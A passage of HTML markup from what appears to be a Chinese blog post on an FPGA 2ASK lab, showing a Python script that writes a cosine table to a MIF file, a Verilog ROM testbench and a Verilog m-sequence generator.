punctuation\"\u003e(\u003c/span\u003efilename\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"w+\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eencoding\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"utf-8\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eas\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"WIDTH=8;\\n\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"DEEPTH=8;\\n\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"ADDRESS_RADIX=UNS;\\n\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"DATA_RADIX=UNS;\\n\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"CONTENT BEGIN\\n\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"token builtin\"\u003erange\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e x \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003eint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003emath\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ecos\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003epi\u003cspan class=\"token operator\"\u003e*\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token number\"\u003e128\u003c/span\u003e\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e128\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e x \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e256\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e x \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e x\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string-interpolation\"\u003e\u003cspan class=\"token string\"\u003ef\"\u003c/span\u003e\u003cspan class=\"token interpolation\"\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token string\"\u003e:\u003c/span\u003e\u003cspan class=\"token interpolation\"\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003ex\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token string\"\u003e\\n\"\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"END;\\n\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e效果(如果发现quartus报错就生成一个标准的mif文件然后把下面的复制进去替换:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-mif\" data-language=\"mif\"\u003e\u003ccode class=\"language-mif\"\u003eWIDTH\u0026#x3D;8;DEEPTH\u0026#x3D;8;ADDRESS_RADIX\u0026#x3D;UNS;DATA_RADIX\u0026#x3D;UNS;CONTENT BEGIN0:2551:2182:1283:374:05:376:1277:218END;\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/sin.png\" /\u003e\u003ch5 id=\"生成IP核\"\u003e\u003ca href=\"#生成IP核\" class=\"headerlink\" title=\"生成IP核\"\u003e\u003c/a\u003e生成IP核\u003c/h5\u003e\u003cp\u003e注意深度选择的时候下拉没有8深度的选择,但是可以手动输入。\u003c/p\u003e\u003cp\u003e\u003cdel\u003e)不过我在其他文件调用ip核的时候一直仿真失败emm,所以ip核就直接用了,等我找到问题再看看。\u003c/del\u003e\u003c/p\u003e\u003ch5 id=\"编写代码及仿真\"\u003e\u003ca href=\"#编写代码及仿真\" class=\"headerlink\" title=\"编写代码及仿真\"\u003e\u003c/a\u003e编写代码及仿真\u003c/h5\u003e\u003cp\u003e添加IP核,进行仿真。\u003c/p\u003e\u003cp\u003e\u003ccode\u003etestbench\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_lpm_rom\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e address2\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e q\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e address2 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3'b000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#20\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e\u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eaddress2 \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e3'b111\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003eaddress2 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3'b000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003eaddress2 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e address2 \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003ecos_8x8cos_8x8_inst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eaddress \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e address2 \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclock \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e clk \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eq \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e q \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真波形\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/cos%E4%BB%BF%E7%9C%9F.png\" /\u003e\u003ch3 id=\"3-m序列产生模块\"\u003e\u003ca href=\"#3-m序列产生模块\" class=\"headerlink\" title=\"3.m序列产生模块\"\u003e\u003c/a\u003e3.m序列产生模块\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_45015947/article/details/89891757\"\u003em序列产生原理及其性质_Angelo_pj的博客-CSDN博客_m序列\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/377685193\"\u003e【verilog杂谈(一)】 2-16位长度的m序列发生器 - 知乎 (zhihu.com)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003e要求:按原理2.3节设计m序列产生模块,要求产生不同长度的m序列。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e代码根据实验要求修改自参考链接,可以产生2~16位的m序列。\u003c/p\u003e\u003cp\u003e\u003ccode\u003emxulie.v\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e mxulie#\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e len \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e4\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// parameter range from 2 to 16\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e m_sequence \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003elen\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eassign\u003c/span\u003e m_sequence \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003elen\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e Q_r \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e Q_r \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// shift reg\u003c/span\u003e \u003cspan class=\"token function\"\u003ecase\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003elen\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e4\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e5\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e6\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e7\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e9\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e9\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token 